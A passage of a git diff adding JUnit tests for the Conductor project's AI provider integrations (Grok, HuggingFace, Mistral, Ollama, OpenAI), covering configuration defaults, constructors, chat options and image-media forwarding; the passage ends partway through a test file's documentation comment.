+++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/grok/GrokAIConfigurationTest.java @@ -0,0 +1,59 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.grok; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class GrokAIConfigurationTest { + + @Test + void testDefaultBaseURL() { + GrokAIConfiguration config = new GrokAIConfiguration(); + assertEquals("https://api.x.ai", config.getBaseURL()); + } + + @Test + void testCustomBaseURL() { + GrokAIConfiguration config = new GrokAIConfiguration(); + config.setBaseURL("https://custom.x.ai"); + assertEquals("https://custom.x.ai", config.getBaseURL()); + } + + @Test + void testGetCreatesGrokInstance() { + GrokAIConfiguration config = new GrokAIConfiguration(); + config.setApiKey("test-key"); + + Grok result = config.get(); + + assertNotNull(result); + assertEquals("Grok", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + GrokAIConfiguration config = + new GrokAIConfiguration("api-key", "https://custom.x.ai", null); + + assertEquals("api-key", config.getApiKey()); + assertEquals("https://custom.x.ai", config.getBaseURL()); + } + + @Test + void testNoArgsConstructor() { + GrokAIConfiguration config = new GrokAIConfiguration(); + assertNull(config.getApiKey()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/grok/GrokTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/grok/GrokTest.java new file mode 100644 index 0000000..30305ab --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/grok/GrokTest.java @@ -0,0 +1,111 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.grok; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class GrokTest { + + private static final String ENV_API_KEY = "GROK_API_KEY"; + + @Nested + class UnitTests { + + private Grok grok; + + @BeforeEach + void setUp() { + GrokAIConfiguration config = new GrokAIConfiguration(); + config.setApiKey("test-api-key"); + grok = new Grok(config, new OkHttpClient()); + } + + @Test + void testGetModelProvider() { + assertEquals("Grok", grok.getModelProvider()); + } + + @Test + void testGenerateEmbeddings_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> grok.generateEmbeddings(null)); + } + + @Test + void testGetImageModel_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> grok.getImageModel()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("grok-3-mini"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + + var options = grok.getChatOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = grok.getChatModel(); + assertNotNull(chatModel); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_API_KEY, matches = ".+") + class IntegrationTests { + + private Grok grok; + + @BeforeEach + void setUp() { + GrokAIConfiguration config = new GrokAIConfiguration(); + config.setApiKey(System.getenv(ENV_API_KEY)); + grok = new Grok(config, new OkHttpClient()); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("grok-3-mini"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = grok.getChatModel(); + var options = grok.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceConfigurationTest.java new file mode 100644 index 0000000..48997bb --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceConfigurationTest.java @@ -0,0 +1,62 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.huggingface; + +import org.junit.jupiter.api.Test; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class HuggingFaceConfigurationTest { + + @Test + void testDefaultBaseURL() { + HuggingFaceConfiguration config = new HuggingFaceConfiguration(); + // OpenAI-compatible router root; the Responses client appends /responses. + assertEquals("https://router.huggingface.co/v1", config.getBaseURL()); + } + + @Test + void testCustomBaseURL() { + HuggingFaceConfiguration config = new HuggingFaceConfiguration(); + config.setBaseURL("https://custom.huggingface.co"); + assertEquals("https://custom.huggingface.co", config.getBaseURL()); + } + + @Test + void testGetCreatesHuggingFaceInstance() { + HuggingFaceConfiguration config = new HuggingFaceConfiguration(); + config.setApiKey("test-key"); + + HuggingFace result = new HuggingFace(config, new OkHttpClient()); + + assertNotNull(result); + assertEquals("huggingface", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + HuggingFaceConfiguration config = + new HuggingFaceConfiguration("api-key", "https://custom.url", null); + + assertEquals("api-key", config.getApiKey()); + assertEquals("https://custom.url", config.getBaseURL()); + } + + @Test + void testNoArgsConstructor() { + HuggingFaceConfiguration config = new HuggingFaceConfiguration(); + assertNull(config.getApiKey()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceTest.java new file mode 100644 index 0000000..22f271b --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceTest.java @@ -0,0 +1,124 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.huggingface; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class HuggingFaceTest { + + private static final String ENV_API_KEY = "HUGGINGFACE_API_KEY"; + + @Nested + class UnitTests { + + private HuggingFace huggingFace; + + @BeforeEach + void setUp() { + HuggingFaceConfiguration config = new HuggingFaceConfiguration(); + config.setApiKey("test-api-key"); + huggingFace = new HuggingFace(config, new OkHttpClient()); + } + + @Test + void testGetModelProvider() { + assertEquals("huggingface", huggingFace.getModelProvider()); + } + + @Test + void testGenerateEmbeddings_throwsUnsupportedException() { + assertThrows( + UnsupportedOperationException.class, + () -> huggingFace.generateEmbeddings(null)); + } + + @Test + void testGetImageModel_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> huggingFace.getImageModel()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("meta-llama/Meta-Llama-3-8B-Instruct"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + + var options = huggingFace.getChatOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = huggingFace.getChatModel(); + assertNotNull(chatModel); + } + + @Test + void testGetChatModel_isResponsesModel_notLegacyTextGeneration() { + // The router migration (conductor-oss#1244) replaced the legacy text-only + // HuggingFaceChatModel with the shared, media-capable Responses model, which + // forwards UserMessage media as input_image content parts. + assertInstanceOf( + org.conductoross.conductor.ai.providers.openai.OpenAIResponsesChatModel.class, + huggingFace.getChatModel(), + "HuggingFace must use OpenAIResponsesChatModel (multimodal) after the router migration"); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_API_KEY, matches = ".+") + class IntegrationTests { + + private HuggingFace huggingFace; + + @BeforeEach + void setUp() { + HuggingFaceConfiguration config = new HuggingFaceConfiguration(); + config.setApiKey(System.getenv(ENV_API_KEY)); + huggingFace = new HuggingFace(config, new OkHttpClient()); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("meta-llama/Meta-Llama-3-8B-Instruct"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = huggingFace.getChatModel(); + var options = huggingFace.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/mistral/MistralAIConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/mistral/MistralAIConfigurationTest.java new file mode 100644 index 0000000..b0e8fcd --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/mistral/MistralAIConfigurationTest.java @@ -0,0 +1,59 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.mistral; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class MistralAIConfigurationTest { + + @Test + void testDefaultBaseURL() { + MistralAIConfiguration config = new MistralAIConfiguration(); + assertEquals("https://api.mistral.ai", config.getBaseURL()); + } + + @Test + void testCustomBaseURL() { + MistralAIConfiguration config = new MistralAIConfiguration(); + config.setBaseURL("https://custom.mistral.ai"); + assertEquals("https://custom.mistral.ai", config.getBaseURL()); + } + + @Test + void testGetCreatesMistralAIInstance() { + MistralAIConfiguration config = new MistralAIConfiguration(); + config.setApiKey("test-key"); + + MistralAI result = config.get(); + + assertNotNull(result); + assertEquals("mistral", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + MistralAIConfiguration config = + new MistralAIConfiguration("api-key", "https://custom.url", null); + + assertEquals("api-key", config.getApiKey()); + assertEquals("https://custom.url", config.getBaseURL()); + } + + @Test + void testNoArgsConstructor() { + MistralAIConfiguration config = new MistralAIConfiguration(); + assertNull(config.getApiKey()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/mistral/MistralAITest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/mistral/MistralAITest.java new file mode 100644 index 0000000..1a1ffa8 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/mistral/MistralAITest.java @@ -0,0 +1,118 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.mistral; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import static org.junit.jupiter.api.Assertions.*; + +class MistralAITest { + + private static final String ENV_API_KEY = "MISTRAL_API_KEY"; + + @Nested + class UnitTests { + + private MistralAI mistralAI; + + @BeforeEach + void setUp() { + MistralAIConfiguration config = new MistralAIConfiguration(); + config.setApiKey("test-api-key"); + mistralAI = new MistralAI(config); + } + + @Test + void testGetModelProvider() { + assertEquals("mistral", mistralAI.getModelProvider()); + } + + @Test + void testGetImageModel_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> mistralAI.getImageModel()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("mistral-small-latest"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + input.setTopP(0.9); + + var options = mistralAI.getChatOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = mistralAI.getChatModel(); + assertNotNull(chatModel); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_API_KEY, matches = ".+") + class IntegrationTests { + + private MistralAI mistralAI; + + @BeforeEach + void setUp() { + MistralAIConfiguration config = new MistralAIConfiguration(); + config.setApiKey(System.getenv(ENV_API_KEY)); + mistralAI = new MistralAI(config); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("mistral-small-latest"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = mistralAI.getChatModel(); + var options = mistralAI.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setModel("mistral-embed"); + request.setText("Hello world"); + + var embeddings = mistralAI.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfigurationTest.java new file mode 100644 index 0000000..806b8db --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfigurationTest.java @@ -0,0 +1,61 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.ollama; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class OllamaConfigurationTest { + + @Test + void testDefaultBaseURL() { + OllamaConfiguration config = new OllamaConfiguration(); + assertEquals("http://localhost:11434", config.getBaseURL()); + } + + @Test + void testCustomBaseURL() { + OllamaConfiguration config = new OllamaConfiguration(); + config.setBaseURL("http://remote-ollama:11434"); + assertEquals("http://remote-ollama:11434", config.getBaseURL()); + } + + @Test + void testGetCreatesOllamaInstance() { + OllamaConfiguration config = new OllamaConfiguration(); + + Ollama result = config.get(); + + assertNotNull(result); + assertEquals("ollama", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + OllamaConfiguration config = + new OllamaConfiguration( + "http://custom:11434", "Authorization", "Bearer token", null); + + assertEquals("http://custom:11434", config.getBaseURL()); + assertEquals("Authorization", config.getAuthHeaderName()); + assertEquals("Bearer token", config.getAuthHeader()); + } + + @Test + void testNoArgsConstructor() { + OllamaConfiguration config = new OllamaConfiguration(); + assertNull(config.getAuthHeaderName()); + assertNull(config.getAuthHeader()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/ollama/OllamaTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/ollama/OllamaTest.java new file mode 100644 index 0000000..064794f --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/ollama/OllamaTest.java @@ -0,0 +1,120 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.ollama; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import static org.junit.jupiter.api.Assertions.*; + +// Test is disabled for now until local ollma can be available on git +@Disabled +class OllamaTest { + + private static final String ENV_BASE_URL = "OLLAMA_BASE_URL"; + + @Nested + class UnitTests { + + private Ollama ollama; + + @BeforeEach + void setUp() { + OllamaConfiguration config = new OllamaConfiguration(); + config.setBaseURL("http://localhost:11434"); + ollama = new Ollama(config); + } + + @Test + void testGetModelProvider() { + assertEquals("ollama", ollama.getModelProvider()); + } + + @Test + void testGetImageModel_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> ollama.getImageModel()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("llama3"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + + var options = ollama.getChatOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = ollama.getChatModel(); + assertNotNull(chatModel); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_BASE_URL, matches = ".+") + class IntegrationTests { + + private Ollama ollama; + + @BeforeEach + void setUp() { + OllamaConfiguration config = new OllamaConfiguration(); + config.setBaseURL(System.getenv(ENV_BASE_URL)); + ollama = new Ollama(config); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("llama3"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = ollama.getChatModel(); + var options = ollama.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setModel("nomic-embed-text"); + request.setText("Hello world"); + + var embeddings = ollama.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAICompatChatModelMediaTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAICompatChatModelMediaTest.java new file mode 100644 index 0000000..29bfdae --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAICompatChatModelMediaTest.java @@ -0,0 +1,124 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi.ChatCompletionRequest; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi.ChatCompletionResult; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi.Choice; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi.ContentPart; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi.MessageItem; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi.Usage; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.content.Media; +import org.springframework.util.MimeTypeUtils; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertInstanceOf; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Verifies that image media on a {@link UserMessage} is forwarded to OpenAI-compatible providers + * (Grok, Perplexity — both use {@link OpenAICompatChatModel}) as an {@code image_url} content part. + * Regression test for the bug tracked in conductor-oss#1242: {@code convertMessage} took only + * {@code UserMessage.getText()} and silently dropped {@code getMedia()}. + * + *

The HTTP layer is stubbed via Mockito; the request built by {@link OpenAICompatChatModel} is + * captured and inspected. + */ +class OpenAICompatChatModelMediaTest { + + private static final byte[] PNG_BYTES = {(byte) 0x89, 'P', 'N', 'G', 1, 2, 3, 4}; + + @Test + void userMediaIsForwardedAsImageUrlContentPart() throws Exception { + OpenAIChatCompletionsApi api = mock(OpenAIChatCompletionsApi.class); + ChatCompletionResult canned = + new ChatCompletionResult( + "cmpl_img", + "chat.completion", + "grok-vision", + List.of(new Choice(0, MessageItem.assistant("MELON7391"), "stop")), + new Usage(10, 5, 15)); + when(api.createChatCompletion(any(ChatCompletionRequest.class))).thenReturn(canned); + + OpenAICompatChatModel chatModel = new OpenAICompatChatModel(api); + + UserMessage userMsg = + UserMessage.builder() + .text("Transcribe the text in the image.") + .media( + List.of( + Media.builder() + .data(PNG_BYTES) + .mimeType(MimeTypeUtils.IMAGE_PNG) + .build())) + .build(); + + ChatOptions options = ChatOptions.builder().model("grok-vision").build(); + chatModel.call(new Prompt(List.of(userMsg), options)); + + ArgumentCaptor captor = + ArgumentCaptor.forClass(ChatCompletionRequest.class); + verify(api).createChatCompletion(captor.capture()); + ChatCompletionRequest sent = captor.getValue(); + + MessageItem user = + sent.messages().stream() + .filter(m -> "user".equals(m.role())) + .reduce((a, b) -> b) + .orElseThrow(); + + assertInstanceOf( + List.class, + user.content(), + "user message with media must serialize to a content-part list, not a bare string"); + + @SuppressWarnings("unchecked") + List parts = (List) user.content(); + + List imageParts = + parts.stream().filter(p -> "image_url".equals(p.type())).toList(); + assertFalse( + imageParts.isEmpty(), + "image_url content part missing — media was dropped (the original bug)"); + + String expected = "data:image/png;base64," + Base64.getEncoder().encodeToString(PNG_BYTES); + assertEquals( + expected, + imageParts.get(0).imageUrl().url(), + "image bytes must be sent as a base64 data URI"); + + // The text prompt must still accompany the image. + assertTrue( + parts.stream() + .anyMatch( + p -> + "text".equals(p.type()) + && "Transcribe the text in the image." + .equals(p.text())), + "text content part must accompany the image"); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAIConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAIConfigurationTest.java new file mode 100644 index 0000000..9d0f015 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAIConfigurationTest.java @@ -0,0 +1,70 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import org.junit.jupiter.api.Test; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class OpenAIConfigurationTest { + + @Test + void testDefaultBaseURL() { + OpenAIConfiguration config = new OpenAIConfiguration(); + assertEquals("https://api.openai.com/v1", config.getBaseURL()); + } + + @Test + void testBlankBaseURLReturnsDefault() { + OpenAIConfiguration config = new OpenAIConfiguration(); + config.setBaseURL(" "); + assertEquals("https://api.openai.com/v1", config.getBaseURL()); + } + + @Test + void testCustomBaseURL() { + OpenAIConfiguration config = new OpenAIConfiguration(); + config.setBaseURL("https://custom.openai.com/v1"); + assertEquals("https://custom.openai.com/v1", config.getBaseURL()); + } + + @Test + void testGetCreatesOpenAIInstance() { + OpenAIConfiguration config = new OpenAIConfiguration(); + config.setApiKey("test-key"); + + OpenAI result = new OpenAI(config, new OkHttpClient()); + + assertNotNull(result); + assertEquals("openai", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + OpenAIConfiguration config = + new OpenAIConfiguration("api-key", "https://custom.url", "org-id", null); + + assertEquals("api-key", config.getApiKey()); + assertEquals("https://custom.url", config.getBaseURL()); + assertEquals("org-id", config.getOrganizationId()); + } + + @Test + void testNoArgsConstructor() { + OpenAIConfiguration config = new OpenAIConfiguration(); + assertNull(config.getApiKey()); + assertNull(config.getOrganizationId()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatModelTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatModelTest.java new file mode 100644 index 0000000..f294d17 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatModelTest.java @@ -0,0 +1,187 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.util.List; + +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.OutputContent; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.OutputItem; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.OutputTokensDetails; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.ReasoningSummary; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.ResponseRequest; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.ResponseResult; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.Usage; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.prompt.Prompt; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * End-to-end tests for the {@link OpenAIResponsesChatModel} reasoning round-trip: the request must + * carry a nested {@code reasoning.summary} when the caller asked for one, and the response's + * reasoning summary text must be surfaced via {@code ChatResponseMetadata["reasoning"]} so it can + * flow downstream to {@code LLMResponse}. + * + *

